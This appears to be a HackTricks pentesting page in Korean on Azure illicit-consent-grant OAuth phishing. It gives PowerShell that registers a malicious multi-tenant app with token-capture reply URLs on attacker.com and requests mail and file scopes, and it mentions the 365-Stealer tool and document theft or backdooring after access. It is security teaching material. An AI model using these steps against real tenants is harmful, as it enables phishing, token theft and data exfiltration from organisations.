Az - Illicit Consent Grant

Support HackTricks

OAuth App Phishing

Azure Applications사용자 데이터(기본 정보, 문서 접근, 이메일 전송 등)에 대한 권한을 요청합니다. 허용되면, 일반 사용자는 "저영향" 권한에 대해서만 동의를 부여할 수 있습니다. 모든 다른 경우에는 관리자 동의가 필요합니다. GA, ApplicationAdministrator, CloudApplication Administrator애플리케이션에 대한 권한 부여 권한을 포함하는 사용자 정의 역할이 테넌트 전체 동의를 제공할 수 있습니다.

관리자 동의가 필요하지 않은 권한만이 저영향으로 분류됩니다. 이러한 권한은 기본 로그인에 필요한 openid, profile, email, User.Read 및 offline_access입니다. 만약 조직모든 앱에 대한 사용자 동의를 허용하면, 직원은 앱이 자신의 프로필에서 위 정보를 읽도록 동의할 수 있습니다.

따라서 공격자는 악성 앱을 준비하고 피싱을 통해 사용자가 앱을 수락하고 그의 데이터를 훔치도록 만들 수 있습니다.

  • Unauthenticated: 외부 계정에서 User.ReadUser.ReadBasic.All 권한을 가진 애플리케이션을 생성하고 사용자를 피싱하면 디렉터리 정보에 접근할 수 있습니다.

  • 이는 피싱된 사용자가 외부 환경에서 OAuth 앱을 수락할 수 있어야 합니다!

  • Authenticated: 충분한 권한을 가진 주체를 손상시킨 후, 계정 내에서 애플리케이션을 생성하고 특권이 있는 사용자를 피싱하여 특권 OAuth 권한을 수락할 수 있습니다.

  • 이 경우 이미 디렉터리 정보를 접근할 수 있으므로 User.ReadBasic.All 권한은 더 이상 흥미롭지 않습니다.

  • 관리자가 부여해야 하는 권한에 관심이 있을 가능성이 높습니다. 일반 사용자는 OAuth 앱에 어떤 권한도 부여할 수 없기 때문에 오직 그런 사용자만 피싱해야 합니다(어떤 역할/권한이 이 특권을 부여하는지에 대한 내용은 나중에 설명합니다).

다음 PowerShell 명령은 Azure Active Directory (Azure AD)에서 사용자가 애플리케이션에 동의할 수 있는 능력에 대한 동의 구성을 확인하는 데 사용됩니다:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • 사용자 동의 비활성화: 이 설정은 사용자가 애플리케이션에 권한을 부여하는 것을 금지합니다. 애플리케이션에 대한 사용자 동의는 허용되지 않습니다.

  • 사용자는 검증된 게시자 또는 귀하의 조직에서 제공하는 앱에 대해 선택한 권한에 대해서만 동의할 수 있습니다: 이 설정은 모든 사용자가 검증된 게시자가 발행한 애플리케이션과 귀하의 테넌트에 등록된 애플리케이션에 대해서만 동의할 수 있도록 허용합니다. 특정 권한에 대해서만 동의를 허용하여 제어의 레이어를 추가합니다.

  • 사용자는 모든 앱에 동의할 수 있습니다: 이 설정은 더 관대하며 모든 사용자가 관리자의 동의가 필요하지 않은 애플리케이션에 대한 모든 권한에 동의할 수 있도록 허용합니다.

  • 사용자 정의 앱 동의 정책: 이 설정은 특정 조직의 요구 사항에 맞게 조정할 수 있는 사용자 정의 정책이 적용되어 있음을 나타내며, 앱 게시자, 앱이 요청하는 권한 및 기타 요소를 기반으로 한 제한의 조합을 포함할 수 있습니다.

불법 동의 부여 공격 이해하기

불법 동의 부여 공격에서 공격자는 최종 사용자를 속여 Azure에 등록된 악성 애플리케이션에 권한을 부여하도록 유도합니다. 이는 애플리케이션이 합법적으로 보이도록 만들어 피해자가 "수락" 버튼을 무의식적으로 클릭하게 만듭니다. 그 결과 Azure AD는 공격자의 사이트에 토큰을 발급하여 피해자의 데이터에 접근하고 조작할 수 있게 하며, 이메일을 읽거나 보내고 파일에 접근하는 등의 작업을 조직 계정 없이 수행할 수 있습니다.

공격 흐름 개요

이 공격은 일반 회사를 대상으로 여러 단계를 포함합니다. 다음은 공격이 어떻게 전개될 수 있는지에 대한 설명입니다:

  1. 도메인 등록 및 애플리케이션 호스팅: 공격자는 신뢰할 수 있는 사이트를 닮은 도메인을 등록합니다. 예를 들어, "safedomainlogin.com"과 같은 도메인입니다. 이 도메인 아래에 권한 부여 코드를 캡처하고 액세스 토큰을 요청하기 위해 설계된 애플리케이션을 호스팅하기 위해 서브도메인(예: "companyname.safedomainlogin.com")을 생성합니다.

  2. Azure AD에서 애플리케이션 등록: 공격자는 자신의 Azure AD 테넌트에 다중 테넌트 애플리케이션을 등록하고, 이를 목표 회사의 이름으로 명명하여 합법적으로 보이도록 합니다. 그들은 애플리케이션의 리디렉션 URL을 악성 애플리케이션을 호스팅하는 서브도메인을 가리키도록 구성합니다.

  3. 권한 설정: 공격자는 애플리케이션에 다양한 API 권한(예: Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)을 설정합니다. 이러한 권한은 사용자가 부여하면 공격자가 사용자를 대신하여 민감한 정보를 추출할 수 있게 합니다.

  4. 악성 링크 배포: 공격자는 악성 애플리케이션의 클라이언트 ID를 포함하는 링크를 작성하고 이를 목표 사용자와 공유하여 동의를 부여하도록 속입니다.

공격을 위한 도구 활용

이 공격은 365-Stealer와 같은 도구를 사용하여 촉진될 수 있습니다.

공격 전 준비:

공격자가 피해 조직의 사용자에게 어느 정도 접근할 수 있는 경우, 그들은 조직의 정책이 사용자가 앱을 수락할 수 있도록 허용하는지 확인할 수 있습니다:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

공격을 실행하기 위해 공격자는 Azure 테넌트에 새 앱을 생성해야 합니다 (앱 등록에서), 권한이 구성된 상태로:

User.ReadBasic.AllDelegated permissionsMicrosoft Graph에 있습니다. (애플리케이션 권한은 항상 추가 승인이 필요합니다).

  • User.ReadBasic.All은 부여될 경우 조직의 모든 사용자 정보를 읽을 수 있는 권한입니다.

  • GA, ApplicationAdministrator, CloudApplication Administrator애플리케이션에 권한을 부여할 수 있는 권한을 포함하는 사용자 정의 역할만이 테넌트 전체 동의를 제공할 수 있다는 점을 기억하세요. 따라서 관리자 동의를 요구하는 앱을 승인하도록 하려면 이러한 역할 중 하나를 가진 사용자를 피싱해야 합니다.

CLI를 통해 앱을 생성할 수도 있습니다:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

https://www.alteredsecurity.com/post/introduction-to-365-stealer에서 설정 방법을 확인하세요.

획득한 액세스 토큰그래프 엔드포인트에 대한 것이며, 범위는 User.ReadUser.ReadBasic.All입니다(요청된 권한). 다른 작업을 수행할 수는 없지만(모든 사용자에 대한 정보를 다운로드하는 데는 충분합니다).

이 도구를 사용하여 이 공격을 수행할 수도 있습니다.

Post-Exploitation

사용자에 대한 액세스를 얻으면 민감한 문서를 훔치거나 백도어가 있는 문서 파일을 업로드하는 등의 작업을 수행할 수 있습니다.

References

HackTricks 지원하기

Last updated